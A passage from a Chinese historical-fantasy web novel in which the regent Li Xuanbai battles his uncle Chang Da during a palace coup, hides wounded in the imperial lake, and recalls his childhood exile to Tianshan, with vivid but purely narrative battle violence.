“外甥没被你弄死,倒拿你儿子去泡了尿桶了。泡个三月,给舅舅做酒。” 他嬉笑,一字一字: “老贼,你也有今日。” 徐卫冷汗涔涔倾身下去,拎着常平的头发将人头扯到手里,递给常达。 常达捧球般将那颗头在掌中掂量细看了半晌,一边看,竟一边流泪,呜咽如猛兽哀嘶,半晌,仰天狮吼一声: “吾儿,吾儿!——方才一别,如何转眼就!”仰首呜咽了半晌,忽地,喉咙里滚动得已如滚雷,一双眼如豺狼般残暴,乍扬起双板斧,朝天一挥:“泼崽子,老子今日不剁了你个腌臜畜生,枉负我儿!!” 板斧朝前一劈:“给我杀!!” 李玄白唰一声拔剑出鞘,剑如白雪。 忽地一声女真语响破长空。 常家军刚提剑纵马半步,余光一瞥,惊见四周无人动弹,骇得冷汗淋漓,仓惶又勒了马。 令已下,为何不动?! 常达如常家军一般惊惶,仓忙四顾,手中板斧横空乱劈,唾沫飞溅: “怎么!老子的命令都敢不听了吗!” 对面,李玄白毫无错愕,一哂,从容自若地又收了剑。 常达身后的女真人犹自勒着马,任常达如何咒骂,依旧不为所动。 唯有马儿喷鼻踏蹄。 缘由也很简单。福余三卫原本奉常达的命令入紫禁城,不想兵分两路后,转头就见自己弟兄归服了敌方。 不过为几两银子,谁欲与自己同吃同住的同乡人兵刃相待?! 至少先弄清弟兄们为何归服。 李玄白偏首对身侧的女真人附耳吩咐: “方才本王对你们说过些什么,你们是如何想的,又是为何归服本王,一五一十地,拿你们的话,跟这些弟兄们说。” 双方女真人隔空交谈了几个回合。两方都无通晓女真语之人,稀里糊涂地攥着马缰听。 剑拔弩张的一刻,双方和平得诡异。 李玄白自始至终带点胸有成竹的笑。 常达宫变,既带了常家军,又带了福余三卫。福余三卫固然骁勇善战,可是他们一半的弟兄归服了他,另一半当真会对这些人拔刀相向吗? 谋生而已,无关忠诚,何必自相残杀。 遑论,他是皇上亲封的摄政王,宝册、诏书皆有,又有监国摄政之大印,放着他这个名正言顺的主子不从,却去从一个乱臣贼子? 背井离乡谋生之人,谁欲趟这场浑水。 常达只等半刻,已经屈辱愤恨交加,他真金白银地供着这帮异族人,朝堂上的骂也挨,白花花的银子也掏,就连这伙人劫了国公府,他都二话不说地擦屁股,无非图他们兵强将勇!可是如何,用兵之时,竟无人从?! 他大喝一声,扯过身后一个女真人的马缰,把那马一下拽得趔趄,趁马上人慌张,板斧劈头一斩! 人头飞旋落地。 “谁敢不从,有如此贼!” 李玄白当即反其道行之:“若从本王,既往不咎!” 哗地一声,女真人齐齐弃刀。 双方都未曾预料到此种结果,一齐目瞪口呆。 李玄白身侧的女真副将驾着马退开半步,两方女真人亦随着他让到两侧,齐齐在墙根底下站开一排,操着不熟练的官话朝双方抱拳: “摄政王,定王,冒犯了。大金无意参与二位之争,请容我们中立,自保。” 常达怒目瞪得几乎从眼眶中凸出来:“本王养你们千日,岂容你们自保!动手,给我杀!” 常家军登时拨转马头,齐齐朝退至一旁的女真人挥刀,却听常达身侧一人大喝一声: “千钧一发之时,真要自相残杀吗!” 众人霎时一同朝发话的人看去。 徐卫。 他本是常忠的副将,为人稳重谦逊,又经验老到,故而今晚被常达带入了紫禁城。 常达心中亦是一凛。 事已至此、事已至此——人死不可复生。 这伙女真人临阵倒戈,已成定局,再同他们纠缠,不过自废力气而已! 此时已间不容发。 常达拨直了马头,手中门板大小的板斧直指向对面高头大马上的人: “常氏军听令!” 常家军暴喝如海啸:“在!” “我儿与诸君肝胆相照、情同手足!今为此小儿所害!” “不杀其威风、斩其头颅、断其筋骨,不足告慰我儿!” “诛此小贼,为我儿报仇!!” 常家军齐喝:“是!!” 呼喝声排山倒海,马蹄声和刀剑摩擦声铺天盖地而来,长街尽头的大军转眼就杀到眼前,与长街另一头的禁军厮杀起来。 两军交融乱汇。 李玄白的福余三卫亦缴了械立在一旁,身侧唯有十数金戈侍卫和蓄势待发的北军,眼下北军全冲入敌军四下挥刀砍杀,李玄白自己也被铁盔红缨的常家军团团包围。 他浑也不顾,拔剑就驭马强冲。 挡者杀,杀者更杀! 常家军亦是骑兵,他纵马冲入,眼前顷刻四五柄大刀纷至旋来,他挥剑左右一格,飞身自马背跃起,一闪,折身剜得一人颈血旋溅如泉,飞身在下头人脸上一踏,雨燕一般纵身往前,恰恰好好落回马鞍。 刚落一瞬,四面刀尖又齐齐刺来,他牵着马缰折腰一仰,倒得与马背平齐,又弹腰坐起,长剑在众刀拼成的点中哗地一拨。 刀刃四散。 一开掌,本命珠齐齐自他掌中钻出,小陨石般四散开去,面前大汉浑然不觉,龇牙咧嘴着猛杀。 他头顶两团乌黑的阴影,未等抬头,面前大汉直直半跪下去,两颗石狮子大的流星锤咣当一声砸在骏马两侧。 李玄白动动手指,将嵌入大汉脑子中的本命珠收回掌心。 收回来,本命珠尚温热黏腻,腥味扑鼻,他将那珠子捏在指尖嗅了一会,嫌厌万分地将上面的东西甩去,忽地抓着马鬃往旁一闪,一根白刀突刺至马背之上,他本命珠嗖一声旋飞出去,嗡一下钻入身后人的耳朵。 那士兵惊恐万分地惨嚎一嗓,大刀顷刻掉了地。 他轻哂着复将那珠子收入掌,一抬眼,忽见面前一人纵马拎刀而来,那刀不高举,故意垂在身侧竖刃。 那是为斩他面中而来! 他蓦地五指使力,欲直腰坐回马上,谁知混乱之中他正揪着马鬃,那马骤然吃痛,竖起蹄子来长嘶,他一时只觉身不由己,万千颠簸,地在天上,夜在地下,无数马蹄劈头盖脸踩到他眼前,他不及分辨,长剑在地上刮得吱吱作响,忽地,腰间一阵力。 一个禁军拎着他的腰带将他提回马背之上: “北军统领肖奇前来护驾!” 禁军构成十分复杂,各部各有统领,并非全数驻守于宣平门。方才他调北军,不过调了当值的一部分,这时过了片刻,其余北军亦汹涌赶到,紧随众人向前拼杀。 李玄白端坐马上缓了会呼吸,四面一望,常家军和禁军厮杀得一团混乱,四面兵戈相接,刀锋和枪尖吱噶摩擦,士兵们喊杀的喊杀,嚎叫的嚎叫,兼有溅血声、刀入皮肉声、马嘶声、和痛苦不堪的嘶叫。 夜色底下,火把已灭,混乱之中几乎分不清敌我。 他回身惊见一柄寒锋朝他腰间横砍,铛地提剑一挡,震得虎口发麻。 看不清啊,究竟是哪一方占了上风? 常达又何在? 他收紧马缰,于厮杀的洪流中勉力靠了点边,竖着耳朵细听。 远方一点狮吼般的动静。 这等粗蛮嗓门,是他那暴虐无道的舅舅没错! 他登时咬了牙,攥紧缰绳,提剑往人流中疾冲: “杀常达!斩杀此贼,吾重重有赏!” 乱流中顿时爆发出一阵暴喝: “杀常达!杀常达!” 李玄白纵马挥剑乱砍,面前刀刃斜横有如龙舟长桨,他左右拼杀而过,卯力往常达跟前猛冲。 诛杀此贼!这欺侮他、蔑视他、逐他出京、困他于天山的老贼! 他、连同他那个丧心病狂、目中无人的亲妹、他那虎毒食子的亲母! 杀了此贼、再杀其妹,他那被拘于天山的七年,才算不负! 却听乱局之中常达一声惊吼: “圣驾在此,谁敢造次!” 李玄白登时勒紧马缰,眯眼往前看去。 常达手中拎了一个身量不高之人。夜色太深,看不清晰。 再无人敢轻举妄动。 那疯子皇上落在这老贼手里了?真落在这老贼手里了?! 若是如此,大事不妙! 皇上在他手上,谁敢妄动?不慎弑君,遗臭千古,往后各朝言官一人一句,山一般压在他背上万载,他就是愚公,也移不了! 常达挥着那人挡在身前,又喝了一遭:“圣驾在此,谁敢造次!” 李玄白忽然大喝:“不足为信!杀!” 他手里有个屁!若有,早以之为盾! 满街禁军人人惊愕,不知所措。 李玄白复又伏在马上往常达声音来处狂奔:“逆贼满口胡言!不足为信!杀!” 众禁军见他身先士卒,一马当先,当即士气振奋、感动奋激,齐齐扬着手中兵刃大喊:“杀!” 李玄白压低身子急急纵马,心中冷笑。 连狐假虎威这招都使出来了,想来是福余三卫主动缴械后,常达带入宫中的人手不够了。 这里可是紫禁城,大批禁军驻扎在此! 他常达的常家军再勇猛,毕竟也有穷尽;紫禁城中,禁军全听他号令!若要耗,且瞧谁耗过谁! 不过,能不打毕竟还是不打,当务之急,仍是掌握紫宸殿那位—— 他收紧马缰,偏首往长街一旁的紫宸殿看去。 紫宸殿在茫茫夜色下辉煌肃穆。 这里面的人,只要能入他的手,他马上便控制了整座紫禁城,饶是姓常的再怎么负隅顽抗,也再无翻盘之机! 他下定了决心,朝身旁一个金戈侍卫大喝:“随我来!” 忽地,声音滞在嗓子里。 一柄长剑,直直刺入他左肩。 面前人气喘着盯视他,呼吸重得简直如抽搐,四目对望,唰一声将剑拔出。 他未觉痛,只觉胸前渐渐一股暖流包裹全身,热得发麻。 忽地,身侧又一柄长剑横来,噗一声扎入那人左胸。 那人顷刻歪着脖子倒下去。 他才看清,此人身着金戈侍卫的黑衣。 李玄白此时才混混沌沌地明白,方才那一下,已经被他身边侍卫格挡了一回,不然,那一剑必刺入他左胸! 四下里一阵慌张惊呼: “摄政王!” “摄政王您怎样!” 乱战之中,几人瞥见他这边的情况,霎时惊得面如菜色,匆忙应对完眼前的刀剑便惶惶簇拥至他身侧。 却见马背上的人神色自若挺直了腰板,倨傲一哂: “本王穿了软甲,刀枪不入!废物东西,也敢趁乱倒戈!” 禁军见他中了剑,原本心里一片冰寒,却见他没事人一般神采烨然,简直金刚不坏、如有神通,不敢相信之余又多几分“此人莫非天命”的迷信,愣怔一瞬,齐齐放声大呼: “天佑吾主!天佑吾主!” 李玄白剑尖朝紫宸殿高举: “速来十人,与孤前去紫宸殿护驾!” 他是否刀枪不入,自己最知道。事已至此,趁还能动作、血未流干,趁早绑了紫宸殿里那疯子! “大内禁地,诸位在此吵什么。” 众人闻声一齐抬头,惊见一人长身立于高高红墙之上,衣袍翩然,玄衣大袖,黑发黑袍黑绸带,仿佛一团飘忽不定的鬼影。 立于浓稠夜色中,好似一团化入夜幕的墨。 长街远处,仍是一番混战,众人并未听见墙上动静,犹自拼杀正酣。 顾怀瑾鼓了两下掌,声音借着内力荡开,在长街之中回声悠悠。 于是所有人骇然之中回身遥望。 那夹道高墙之上的小黑点徐徐开口: “听闻二位近来不睦,定王殿下遂携亲兵,自皇极门杀入皇城。不知此行,意在皇上,还是摄政王?” 常达粗声大吼: “自然是这狼子野心的假猢狲!” “那么,定王殿下师出何名?” 常达冷笑:“此竖子小儿屡屡僭越、目中无人、藐视天威!自是包藏祸心之徒!今上秉性宽厚,如何能留此人在侧!达今夜入宫,无非为诛小人、清君侧!” 李玄白切齿嗤笑:“说得倒真是好听!深夜骗开皇极门,携私兵入皇城,于皇上寝殿前作乱!此举何意,常家军心知肚明、常达心知肚明!” “那么,”墙头上的人淡声开了口,“摄政王之心,摄政王自己是否心知肚明?” 李玄白哑然一瞬,随之一笑。 他的心思,他不掩饰。要夺玉玺、要坐龙椅,他坦坦荡荡。 他挑眉:“自然。你有何高见?” 顾怀瑾轻哂:“顾某无甚高见。不过要劝摄政王,休要五十步笑百步。” “晓得各位眼下正忙着,顾某唐突了。不过有一事,务必叫二位知道。” 他黑绸底下两片唇险恶地弯起来: “宫门已锁。今夜,二位所欲之事,势必不成。” 嗖一声,一支急箭猛刺向高墙上的人。 弓弦嗡嗡。 墙上人信手竖指一划,那箭霎时偏了方向。 再一眨眼,那刁钻毒箭,已经被他夹在两指之中。 他将那支长箭在掌中盘转玩耍。 “皇上的蛊已解,下蛊之人为定王,证据确凿。定王这谋逆之罪是脱不掉了,烦请您省省口舌。” “至于摄政王,”忽地自常家军方向射来一阵密密箭雨,他一开掌尽数截住,那箭于是悚人地浮在空中,无所凭依,顾怀瑾头也不回,“连您自己,都不欲辩解,倒是磊落。” “说来说去,二位俱是反贼。”他俯首环视,“拥戴反贼之人,无非图拥立之功。可惜,今夜必定无功,常家军诸位,必受凌迟之刑,兼夷九族矣。” 宫墙底下的常家军听得肝胆俱裂。 姓顾的怎么敢说的如此笃定?! “皇上藏身之地,二位掘地三尺也寻不得。玉玺亦已被顾某妥善保存。皇上不倒,玉玺不易,诸位在皇城中闹翻了天,也是无用。” “诸位尽可在紫宸殿前大闹。不过,今日卯时,圣上必定亲临金銮殿议政。” “或许有人欲从顾某这撬个口子。”他微微歪了头,掌中那支箭遂悬浮于他掌中,指南针一般打转,“顾某恭候。” 常达、常家军、福余三卫和众禁军齐齐看得唏嘘胆寒,惊疑忌惮。 顾怀瑾本是江湖高人。他的武功,非是这些出身行伍的军士可以相提并论,乃是一种玄妙的心法。 “说了这么多,不过是为告诫众军士,乱臣贼子并无胜算,皇上宸极稳固,诸位若聪明,当尽早择主。” 他脸上笑弧缓缓扩开: “众将士,不论出身常家军、金戈侍卫、抑或禁军,斩落定王或摄政王首级,赏五百金,协从谋逆之罪不究。” 又道: “福余三卫,挟兵刃入大内,已是反逆。不过,若斩得二人首级,论功行赏,与诸军同。” 福余三卫本已退至长街尽头,靠着墙根抱膀站着,听见前半句,面色俱沉,听见后半句,眼睛都快掉出来,挠着下巴彼此对望。 立时有几人提了刀欲往街中钻,被领头按着肩膀强压下。 顾怀瑾目光轻轻往长街尽头一瞥。 正是为了今夜,他才力排众议,大费周章地留女真人在京中。 贪财却不忠之辈,最宜剿贼。 李玄白和常达各自被禁军和亲军包围着,同时意识到一件事。 他们身边再无侍卫了。 ——所有军士,望着 他们,仿佛望着两个金灿灿的猪头。 第179章 李玄白当即攥紧剑柄,硌得手掌生痛。 一瞬已是冷汗淋漓,他面上却依旧威势逼人:“谁敢!” 黑夜里,众禁军望着他,齐齐一哆嗦。 李玄白挥剑往墙头上一指,大喝:“有斩落常达与顾止首级者,本王重赏六百金!” 长街中犹自一片杳静。 众将士回身沉默地望他,一打眼看去,四下里一片密密麻麻的眼睛。可是夜太黑了,只看得到眼白,看不见众人眼珠。 众人幽幽望他,仿佛冥冥鬼火。 李玄白心脏惊悬,紧惧一凛。 那姓顾的武功太强,当着众人面截了箭雨,这些人尽是行伍出身的军士,哪里见过这等武功?! 随意展露了些内力,惊得下面人难以置信,迷迷糊糊地信他! 信他的人,势必咬定今夜嘉庆帝宸极不倒,那么,必定全为他卖命! 李玄白眼睛缓缓半眯起来。 紧锁宫门、瓮中捉鳖,使常李双方两败俱伤、同归于尽。 姓顾的端地好阴! 一抬头,那黑袍身影凭空散去了,宫墙沉默地在夜幕下高耸。 忽地背后一阵飒飒风声。 李玄白匆忙旋身一挡,挥剑一格。 当的一声,剑身嗡鸣震颤。 姓顾的那句令一下,他即便有禁军随身,也再不安全了! 当务之急,是杀入紫宸殿,将那疯子把在手里。 他下定了决心,回身一拨马头,又见一道白刃呼啸着劈头斩来,他扯着马缰一闪,忽地左肩一阵揪扯的剧痛,他躲避不及,又一剑斩在右肩上。 沉重的一击,先于劈裂之痛的是压来的力。 他给斩得往后仰了一半,那剑砍入他盔甲,吱噶地与他银盔相摩擦。 他倒仍未痛,只觉肩上麻且热,心知众人全大睁着眼睛盯视他,咬得牙关崩碎,也未哼出一声,紧绷着下颌骨狞笑: “本王早说了胸前穿了软甲,我倒要看看,今夜作乱犯上之人有几多!” 话毕,眼一扫,乱军之中一人长发浓髯,夜太深,也辨不清敌我,他浑也不顾,劈掌薅过那人长发,拖到眼前,唰地横剑一斩,割菜一般斩了首级,他扯着那人头发高举,狞笑大喝: “常达已死!首级在此!” 四面大乱,有未听清的犹自狂呼砍杀,听见了的齐齐抬头张望,却见众禁军簇拥之中,身披蟠龙披风之人傲然立于马上,手中拎着一颗浑圆头颅。 李玄白又喝:“常达已死!首级在此!” 长街另一方向,常达粗蛮的暴喝依稀可闻。 可是眼下已经太乱,各样情景情报纷至沓来,人人不及深思,纵是听见了常达的声音,也并非人人都识得破他的障眼法,慌里慌张地四顾。 李玄白出此计,便是要这样一个人人反应不及的时机。 他倏地拨转马头,退出长街,纵马狂奔而出。 众军士全在此。姓顾的令一下,这些人全不可信了,他的亲卫都有可能杀他! 此地不可久留! 不若绕路兜去紫宸殿内,神不知鬼不觉地找找那疯子! 他一路纵马长驱,绕出西北长街,兜着圈子在宫道上奔驰。 身后随了几人,不知敌友,听马蹄声大约有十余人,他不及回身看,勒马急转过一个弯。 墙角转过,一弯钩月清寒。 月亮下,正正是一把弯弓,拉得满圆,箭头直指! 常达听见顾止之令,亦是如此打算,带着人,绕了路打算兜圈子杀进紫宸殿,却听见一阵急促马蹄声。 他不知墙角对面转过来的是谁,但也顾不得了,来便杀之! 李玄白刚窜出墙角两步,便见一星箭头直窜而来,天大的胆子也慌了半刻,未等看清,已往右拉了缰绳,却身子一歪。 摔在马背上,脚下一空。 竟是慌中出错,脚从马镫中脱了出来! 那箭飕地破空而来。 李玄白简直不敢感受身上是否有疼痛之处。 却见纵马急奔来的人面色惶骇,急急慌慌地从背后取箭,抖着手往弓弦上搭。 常达骂得唾沫四溅:“蠢东西!” 李玄白心内狂喜,没射中! 他骤然勒马急转,也不欲往紫宸殿赶了,慌张蹬进马镫中——他忽然想到,常家军是常达精心训练的精兵,一同在大漠风沙中生死与共十余年,非是顾怀瑾一句轻飘飘的“有赏”,便会轻易背叛的! 就算叛,也还没到时候! 但他的人呢?禁军,他今日才第一次调动,便是金戈侍卫,平日与他也不过打几个照面。这些人,待他之忠心,远不能与常家军待常达相比! 一阵寒风悍然自头顶削过。 李玄白骤缩了脖子,回身一望,果然是一个身着金戈侍卫黑衣之人! 甫与他四目相对,那人脸孔恐惧得已经扭曲。 李玄白刚欲挥剑回斩。 那人一个不稳,灰败着脸歪下马去。 马蹄踏得那人如一堆废砖。 李玄白转了方向,回身对所有随行来的人大喊:“都去紫宸殿护驾!”自己却往御花园直奔——御花园多花草假山,又有御湖,能藏身能远观。 眼下这时候,他身边再无可信之人,已不是常达的对手,先寻个地方藏身,再伺机寻找嘉庆帝,方为上策! 身后随他而出的军士不明了他的算盘,亦怕跟着他,被常达身边的甲兵所杀,忙不迭骑着马跑了。 御花园中空无一人。 方才九曲黄河灯阵的铜柱和宫灯犹未撤去,只是已经尽数熄灭了,飘荡在铜柱顶端,仿佛一盏盏缟白灯笼。 富丽堂皇的紫禁城,一片狼藉。 他四望一圈,周遭依旧一片喊杀声,御花园中却依旧冷清,有听见动静的宫人四散奔逃,但园中究竟没有一个甲兵,他略微放下心。 他下了马,在马臀上一拍。 那系着锦绣马鞍的马儿长嘶一声,头也不回地往前方跑去。 方才太慌乱紧惧,此时稍缓一口气,他才发觉身上已流血流得发冷,左右肩都伤了,所幸未伤及前胸。只是,一呼一吸已经剧痛,抬手已经痛不可耐。 他紧咬着牙,拖着步子往前走。 常达:“找那小贼是否在此!” 他心里突地一跳,牙咬的咯吱作响,忽然生出一股拼死也不甘的力,拔起脚步就往前狂奔。 甲胄磕碰之声和疲惫混乱的粗喘声在耳中轰鸣。 马蹄声渐渐逼近,眼前假山近了、更近了,他此刻什么也不想,身上痛便也任他痛,不论如何,势必藏在假山之中! “大人,属下方才真瞧见摄政王往这方向去了……” “找!”常达吼得林鸟惊飞,“给我四处找!” 假山之中,层叠峰起。因着全山皆是太湖石造景,处处有石窟窿。这等地势,固然适宜窥察敌方,却也不适宜藏身。他紧憋住一口气,猫低身子,寻了一块稍微完整些的石头,躲入死角。 常家军的铁盔红缨在石窟窿中闪烁而过,约莫有六七人。 他心下冰凉。 他身侧一个人也无,这残暴畜生竟有如此多的人肯服膺! 他恼恨且不甘,愈发屈下膝盖,想两手撑在膝上半蹲。 一撑,痛彻心扉。 他险些咣啷一声栽倒在地。 竟忘了左右肩皆伤了! 左肩被一剑捅穿,右肩被剑斩得皮开肉绽,两边血汨汨而下,染得他前胸后背一阵温暖。 他背靠着假山粗喘,胸前盔甲随着胸膛微微起伏。 那几个常家军大概在御花园前绕过一圈:“回大人,不见摄政王踪迹!” “怎么不见!我亲眼看着那小贼策马往这狂奔!再给我找!” 李玄白已喘得喉咙干涩,头盔之内湿了一头汗。 六七个常家军复又四散开,往御花园深处各自搜寻。 他手紧扒着太湖石嶙峋的凸起,匀着呼吸,凝神听头上铡刀缓缓升起。 倘若被发现,必死无疑。 常达带了六七个人,他眼下连胳膊都抬不起来—— 两只乌皮靴踏着薄脆的落叶,停在假山入口。 他听见自己血液唰唰冲上头顶。 落叶被踏碎,一步一步,窸窣作响。 那两只皮靴踏入了假山、走上了小径,往里深入了。拐过了第一个弯—— 循着曲径一直向前走,到了一个分叉路。 往右—— 妈的,偏还就在右边的岔路! 距离他藏身之处仅有两道山石之隔。 如此距离,若鼻子灵些,恐怕已经闻得到他身上血味。 这样不行。 李玄白恶狠狠地咬着嘴唇。 一垂眼,这才惊觉脚下已经积了小血潭。 他脑子里一句高喝响彻天灵盖——这样不行! 往远处一望,前面是一道曲折回廊,回廊外面,是一片死寂的御湖。 夜色里,湖面昏暗茫茫,浑浊一片,一眼望去,已不知是天是水。 李玄白冷汗涔涔,吞咽了一下。 那两只乌皮靴已经转到了下一个转弯处。 再往前,距离此处,便只剩一道山石。 再不走,来不及了! 他当机立断,甩开膀子便使轻功往前飞身,双肩一阵剧痛,他浑也不顾,凌空跃步,沉重的甲胄彼此磕碰出一点声音,未等守卫听清,人已窜出好远。 直直飞向那花藤下的回廊。 他轻手利脚地一点足尖。 双肩一瞬痛得他眼前发黑。 他狠狠眯眼一瞬,没发出一点声音。 那乌皮靴果然已经转到了他方才站过的位置。 他转瞬又提着气往前飞身。 “大人!此处有血!若是摄政王真在此,当负了伤!” 扑通一声,他一头栽入湖中。 冰凉湖水四面八方沁入他盔甲,湖水中,甲胄沉重如巨石,沉沉压在他两肩。双肩顿时痛不可当,他闷哼了一声,不论如何忍住了,冒出水面喘了口气。 常达:“当真是血。”冷哼一声,“我就知道,禁军的符虽在他手里,却不是他亲手带的兵,谈何忠诚!恐怕那国师的令一下,身边人即刻就反了他!” 一撩衣摆:“给我搜!” “是!” 初秋的御湖,夜里已是寒凉彻骨。全身冰在湖中,没片刻就冷得浑身发麻,他又早失了不少血,转眼间已是冷得难以忍受。 却听常家军在御湖边奔跑传话:“传大人令,遍搜御花园!” 冷,冷死了也得忍! 他扒着近岸的石头,小心自芦苇丛中揪了一截芦苇,叼在嘴里以换气,沉着而缓缓地没入湖面之下。 常家军举着火把,在石桥上来回奔跑巡视,火把的光映得湖底一片浑浊的锈绿。 他叼着芦苇管,一声不响地往头上看。 因着在水里,肩头的血无法凝止,一刻不停地往外涌流,融在浊绿湖水中。 他愈发往桥底避了避,躲入阴影之下。 “禀大人,御花园中并无摄政王身影!” 常达:“湖!给我搜湖!” “是!” 他心里一阵肮脏无比的臭骂,太阳穴砰砰直跳,人却已经有些晕眩。 其实失了这许多血,方才便已经开始头晕,不过一刻不停地生死一线,他甚至都未发觉自己虚弱。 此刻,他这身子终于已是强弩之末,想忽视都忽视不得。 他靠着近岸的石头,隐在桥底阴影里,略微出了些水面,以便呼吸稍微自在些。 以为还能多撑些时候,不论如何欲逼自己多撑些时候,腿也掐了唇也咬了,可是,很快,四面士兵传呼声模糊不清,湖水一波接一波推绕在身侧,他渐渐身子都随着水波摇动,一晃一晃,连常达的粗吼,都迷离混沌。 常达的声音仿佛隔着水面:“……小崽子,今日便是他死期……!” 渐渐地,一切杳灭无息。 光和影轮转几回。 而后不知是何时何地,面前光景一页一页地翻,忽地余晖自漏花窗中斜穿而来,映得壁上那幅东海观音像印着花纹。观音像前,摆着一对人高的青花宝瓶,一张红木方桌。 他爹爹坐在桌前理着字帖。 常达在屋里溜溜转圈子,一面走,两只胳膊歇斯底里地扬着: “小崽子!我早就说了,那崽子克我们褚秀,性子又凶犟,尽早将他送去田庄为宜!” 他爹爹叹气:“达兄,褚秀在他屋里摔了,是她自己不小心。玄白毕竟是我儿,是小皇孙……” “皇孙又如何!莫非你唯这一个儿子!”常达骂得唾沫四溅,“明知他是个克母的八字,却还留他于东宫之中!这下好了!褚秀一双膝盖摔坏了,若是好不了,你我走着瞧!” 他爹爹只装忙,不抬头。 常达:“早跟太子爷讲过,留那崽子作甚!我这妹妹,全家当眼珠子似的宝贝着。达是最爱护这个妹妹!太子爷既欲借达之力继承大统,也该好生对待我这妹妹!” 他爹爹摇着头,却一言不回。 而后忽地又是他扒着门缝,窥见常达与常褚秀密谈那日。 他娘膝盖的伤好了个七八分,犹哭哭啼啼地在榻上坐着,连吹点风都要哭叫。 常达摸着她的脸,挺大个汉子,细声细气地哄了一阵,最后啐了一口: “逆孽障!早死了完事!家门瘟神,偏还是个泼猴脾性,腌臜泼才,顽劣瘸犟!连他那间房都克你!” 常褚秀含着泪对他道: “阿兄,这泼猴岂止是克我,前些日子,不知跟谁学了点拳脚,晔儿叫他打啦……此子决不可留!给他放出去,晔儿也清净,褚秀也安心!” “他竟敢跟晔儿比划拳脚!?” “打得可狠呢。那崽子不知从谁那得了把竹蜻蜓,晔儿见他有,自己没有,便从他那抢了来,结果,叫他好一顿拳脚相加!”常褚秀大哭,“你去瞧瞧晔儿,阿兄,你自己去瞧瞧……狂悖东西,褚秀是留不得他!” “以你之意,给他放哪为佳?京郊庄子?” 常褚秀大叫:“京郊哪行!那岂非说回来便能回来!那崽子最爱抢晔儿东西,晔儿有什么他要什么,日后太子即位……” 两人顿时心有灵犀地住了口。 日后太子即位,东宫只能有一主。 “香江尽头,有一山名为天山,山上常年封禁,机关遍布,不与外人互通。把那崽子送上天山,对太子爷说是历练习武……送到山上去,说不准自己就作没了。” 常达附耳,粗糙浓髯蹭着女人耳廓,“即便死不了,上了天山,下山亦难,少说可以困他个七八年。即便他有命回京……我们的晔儿, 也已立了太子了。” 他食指顺着女人脸孔边缘一路刮下来,女人抿唇含羞地笑,常达手指一挑,“到那时,为兄会倾力辅佐我儿登基。” 而后光景骤然变幻,余晖投在观音像上,观音面容未变,那光的矩形却已斜了。 他爹爹依旧沉默地理字帖。 “我不要上天山!”他扯着常达的衣角,近乎撒泼耍赖地撕咬,锤他的膝盖,“我不要上天山!凭何李晔能留在京里,我却要去那鸟不拉屎之地!” 常达提腿,一脚将他抡飞出去: “因你乃煞星种!” 他后脑勺磕在地上,哭都没有眼泪,嘶着凉气艰难望着桌前的人:“爹爹!” 常达一屁股坐在窗边的太师椅上,撩摆叉腿: “太子爷,汝之大事,达必倾力相助。旁的事,达都不求,唯有这一件,望你依我!” 他爹爹于是更加沉默。 爹爹终究是没有依,常达为他的去留与他爹爹争执许久。 直到皇祖病危,暗流涌动,东宫将易主的流言传得漫天。 爹爹为足登九五,什么都依了。 十三岁那年的冬至日,天下鹅毛大雪。 他一个人上了天山。 那一年,他还小。 人人都知道他是不得太子和太子妃喜爱,被逐出洛京的。 寄身东宫的流浪狗,也是流浪狗。 是以,一朝皇孙,远上天山,无人相送。 唯有一个人。 那人不过一个贫民出身的孩子,无半点钱财权势,在他身边的人眼里,是看一眼都嫌脏的贱民。 却是这唯一的一个人,立在冰天雪地里,白雪满身,鼻尖脸颊都冻红了,郑重其事地和他说: “小殿下,你有本事,又有大志向,是一定会回京的。” 他执拗立在风雪里,眼神如孤狼般狠厉不驯,一哂,斜望着东宫辉煌的殿顶: “我若回来,绝不会只回这东宫,要上那金銮殿。” 那孩童垂首:“待您回来,我愿以您为吾主。” 他半垂下长睫,眼眉落雪,淡漠冷疏: “你要想好。我若回来,常家人,非死绝不可。” “当真。”那男孩耳尖冻得通红:“我愿做您的刀。” 他望着那男童认真但稚嫩的脸。 两个人是一样的稚气未脱。 可是,人心何等善变,现在说这些太早了吧。 他未放在心上,一个人上了马车。 他未想到,恰恰是七年后,九曜逆轮开了,天山大火,他趁乱从一条小道,下了天山,返了京。 回到洛京,物是人非。 他爹爹已经登了基。 李晔已成了太子。 常达给他新择了一个母亲。 父亲继承大统,他成了皇子,亲弟弟一跃入主了东宫,他甚至有了一个新母亲。 所有这些事,连个上天山给他送信的人也无。 新的母亲倒是叫他体会了些母爱。谢贵妃为人温和宽厚,并不轻信什么克母之言,待他视如己出。知道他喜吃东坡肘子,每日吩咐小厨房给他做一份;知道他本性顽劣不驯,也不强扭着来,凡事都问问他的主意。 可是谢贵妃只陪了他两年。 据说,据说,是因他那个生身母亲,惧她得宠太盛,阴谋杀之。 从那天起,常家所有人,他发誓屠戮殆尽。 李晔登基那年,他去寻了多年前唯一一个挚友。 多年前,远赴天山,唯一一个来相送的人。 年少时,两人曾一起设局将李景泰那厮骗入湖中,呛了一肚子浑水;也曾背地里阴过常达,叫他茶中有虫、竹箸沾粪、酒中有马尿。也曾高坐酒楼之上,一边吃酒,一边划拳,输得连雕金嵌玉的刀鞘都赔给了他,最后两个人一同长街纵马,大笑不止。 只是人心太善变。时隔多年,他已无法确认他那句“愿为您的刀”,是否还如初。 没想到,秦王府的暗室里,那人单膝跪地,腰佩长刀,恭恭敬敬地垂首: “吾心如初。” “愿为吾主利刃、愿为吾主宝刀。愿为吾主之眼、耳、刃、盾。” “丹忱不改,此心昭昭。” “此心昭昭”。 他那时性子已经更加凉薄多疑,手扣着圈椅的扶手,无可无不可地问: “岁月暌违,何以你此心不改?” 那人抬起头来。多年不见,他稚气已退,轮廓锋利显豁,皮肉紧绷于骨骼之上,坚毅持重: “多年前,国公世子欺凌我,是您向我伸出手,问我要不要报此仇。” “世子欺凌我惯了,人人都瞧不起我。您皇孙之尊,却纡尊降贵,俯交微末。垂青之恩,自当赴汤蹈火相报。” “但为吾主,万死不辞。” 那也是很多年前的事了。 自此以后,他潜入定王府中,做了常忠的副将。两人只有书信交集,再未见过一面。 再见他时,李玄白唯有惊愕。 天微微亮了,淡金色的晨曦将天幕染成微绿,御湖边垂杨依依,他不知何时竟然上了岸,气息奄奄地躺在地上,连直起脖子的力气都无。 徐卫扶着他的背,卸去他的胸甲,一下一下按压他的胸膛: “摄政王,您贵体如何!” 他力已不逮,吐了几口浑水出来,口中咸腥生涩,头晕目眩。 一低头,一只酒葫芦凑至唇边。 徐卫:“您且用些酒!” 酒入喉,苦辣满肺。 